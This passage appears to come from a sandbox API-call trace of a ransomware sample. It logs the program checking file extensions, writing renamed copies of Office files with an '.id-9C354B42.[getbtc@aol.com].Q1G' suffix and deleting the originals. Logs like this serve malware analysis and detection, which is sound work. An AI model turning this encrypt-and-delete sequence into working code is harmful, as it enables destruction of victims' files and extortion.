lpString2=".ICO") returned -1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".jpg") returned 4 [0264.116] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".doc") returned 4 [0264.116] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.116] lstrlenW (lpString=".docx") returned 5 [0264.116] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.116] lstrlenW (lpString=".pdf") returned 4 [0264.116] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.116] lstrlenW (lpString=".xls") returned 4 [0264.116] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.116] lstrlenW (lpString=".xlsx") returned 5 [0264.116] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.116] lstrlenW (lpString=".ppt") returned 4 [0264.116] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".zip") returned 4 [0264.116] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.116] lstrlenW (lpString=".rar") returned 4 [0264.116] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.116] lstrlenW (lpString=".bz2") returned 4 [0264.116] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.116] lstrlenW (lpString=".7z") returned 3 [0264.116] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".dbf") returned 4 [0264.116] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.116] lstrlenW (lpString=".1cd") returned 4 [0264.116] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0264.117] lstrlenW (lpString=".jpg") returned 4 [0264.117] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.117] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.117] lstrlenW (lpString="TASKREQS.ICO") returned 12 [0264.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.117] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0264.117] CloseHandle (hObject=0x3a0) returned 1 [0264.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico")) returned 0x20 [0264.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.118] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.118] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.118] GetLastError () returned 0x0 [0264.118] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0264.376] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0264.377] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.377] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.377] SetEndOfFile (hFile=0x3a8) returned 1 [0264.377] CloseHandle (hObject=0x3a8) returned 1 [0264.377] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.377] SetEndOfFile (hFile=0x3a0) returned 1 [0264.379] CloseHandle (hObject=0x3a0) returned 1 [0264.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico")) returned 1 [0264.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.434] lstrlenW (lpString=".doc") returned 4 [0264.434] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.434] lstrlenW (lpString=".docx") returned 5 [0264.434] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0264.434] lstrlenW (lpString=".pdf") returned 4 [0264.434] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.434] lstrlenW (lpString=".xls") returned 4 [0264.434] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.434] lstrlenW (lpString=".xlsx") returned 5 [0264.434] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0264.434] lstrlenW (lpString=".ppt") returned 4 [0264.434] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.434] lstrlenW (lpString=".zip") returned 4 [0264.434] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.434] lstrlenW (lpString=".rar") returned 4 [0264.434] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.434] lstrlenW (lpString=".bz2") returned 4 [0264.434] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.434] lstrlenW (lpString=".7z") returned 3 [0264.434] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.434] lstrlenW (lpString=".dbf") returned 4 [0264.434] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.434] lstrlenW (lpString=".1cd") returned 4 [0264.434] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.434] lstrlenW (lpString=".jpg") returned 4 [0264.435] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.435] lstrlenW (lpString=".doc") returned 4 [0264.435] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.435] lstrlenW (lpString=".docx") returned 5 [0264.435] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0264.435] lstrlenW (lpString=".pdf") returned 4 [0264.435] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.435] lstrlenW (lpString=".xls") returned 4 [0264.435] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.435] lstrlenW (lpString=".xlsx") returned 5 [0264.435] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0264.435] lstrlenW (lpString=".ppt") returned 4 [0264.435] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.435] lstrlenW (lpString=".zip") returned 4 [0264.435] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.435] lstrlenW (lpString=".rar") returned 4 [0264.435] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.435] lstrlenW (lpString=".bz2") returned 4 [0264.435] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.435] lstrlenW (lpString=".7z") returned 3 [0264.435] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.435] lstrlenW (lpString=".dbf") returned 4 [0264.435] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.435] lstrlenW (lpString=".1cd") returned 4 [0264.435] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO") returned 66 [0264.435] lstrlenW (lpString=".jpg") returned 4 [0264.435] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.436] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.436] lstrlenW (lpString="FORM.ICO") returned 8 [0264.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.465] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=318) returned 1 [0264.465] CloseHandle (hObject=0x3a8) returned 1 [0264.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico")) returned 0x20 [0264.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.466] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.466] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.466] GetLastError () returned 0x0 [0264.466] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x13e, lpOverlapped=0x0) returned 1 [0264.467] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x140, lpOverlapped=0x0) returned 1 [0264.468] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.468] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0264.468] SetEndOfFile (hFile=0x3d8) returned 1 [0264.468] CloseHandle (hObject=0x3d8) returned 1 [0264.468] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.468] SetEndOfFile (hFile=0x3a8) returned 1 [0264.481] CloseHandle (hObject=0x3a8) returned 1 [0264.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico")) returned 1 [0264.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.543] lstrlenW (lpString=".doc") returned 4 [0264.543] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.543] lstrlenW (lpString=".docx") returned 5 [0264.543] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0264.544] lstrlenW (lpString=".pdf") returned 4 [0264.544] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.544] lstrlenW (lpString=".xls") returned 4 [0264.544] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.544] lstrlenW (lpString=".xlsx") returned 5 [0264.544] lstrcmpiW (lpString1=".xlsx", lpString2="M.ICO") returned -1 [0264.544] lstrlenW (lpString=".ppt") returned 4 [0264.544] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.544] lstrlenW (lpString=".zip") returned 4 [0264.544] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.544] lstrlenW (lpString=".rar") returned 4 [0264.544] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.544] lstrlenW (lpString=".bz2") returned 4 [0264.544] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.544] lstrlenW (lpString=".7z") returned 3 [0264.544] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.544] lstrlenW (lpString=".dbf") returned 4 [0264.544] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.544] lstrlenW (lpString=".1cd") returned 4 [0264.544] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.544] lstrlenW (lpString=".jpg") returned 4 [0264.544] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.544] lstrlenW (lpString=".doc") returned 4 [0264.544] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.544] lstrlenW (lpString=".docx") returned 5 [0264.544] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0264.544] lstrlenW (lpString=".pdf") returned 4 [0264.544] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.545] lstrlenW (lpString=".xls") returned 4 [0264.545] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.545] lstrlenW (lpString=".xlsx") returned 5 [0264.545] lstrcmpiW (lpString1=".xlsx", lpString2="M.ICO") returned -1 [0264.545] lstrlenW (lpString=".ppt") returned 4 [0264.545] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.545] lstrlenW (lpString=".zip") returned 4 [0264.545] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.545] lstrlenW (lpString=".rar") returned 4 [0264.545] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.545] lstrlenW (lpString=".bz2") returned 4 [0264.545] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.545] lstrlenW (lpString=".7z") returned 3 [0264.545] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.545] lstrlenW (lpString=".dbf") returned 4 [0264.545] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.545] lstrlenW (lpString=".1cd") returned 4 [0264.545] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO") returned 90 [0264.545] lstrlenW (lpString=".jpg") returned 4 [0264.545] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.545] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.545] lstrlenW (lpString="Hardware Tracker.fdt") returned 20 [0264.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.546] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=133955) returned 1 [0264.546] CloseHandle (hObject=0x1bc) returned 1 [0264.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt")) returned 0x20 [0264.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.546] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.547] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.572] GetLastError () returned 0x0 [0264.572] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x20b43, lpOverlapped=0x0) returned 1 [0264.591] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x20b50, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x20b50, lpOverlapped=0x0) returned 1 [0264.593] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.593] WriteFile (in: hFile=0x37c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0264.593] SetEndOfFile (hFile=0x37c) returned 1 [0264.593] CloseHandle (hObject=0x37c) returned 1 [0264.594] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.594] SetEndOfFile (hFile=0x1bc) returned 1 [0264.597] CloseHandle (hObject=0x1bc) returned 1 [0264.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt")) returned 1 [0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.620] lstrlenW (lpString=".doc") returned 4 [0264.620] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.620] lstrlenW (lpString=".docx") returned 5 [0264.620] lstrcmpiW (lpString1=".docx", lpString2="r.fdt") returned -1 [0264.620] lstrlenW (lpString=".pdf") returned 4 [0264.620] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.620] lstrlenW (lpString=".xls") returned 4 [0264.620] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.620] lstrlenW (lpString=".xlsx") returned 5 [0264.620] lstrcmpiW (lpString1=".xlsx", lpString2="r.fdt") returned -1 [0264.620] lstrlenW (lpString=".ppt") returned 4 [0264.620] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt") returned 117 [0264.620] lstrlenW (lpString=".zip") returned 4 [0264.620] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.620] lstrlenW (lpString=".rar") returned 4 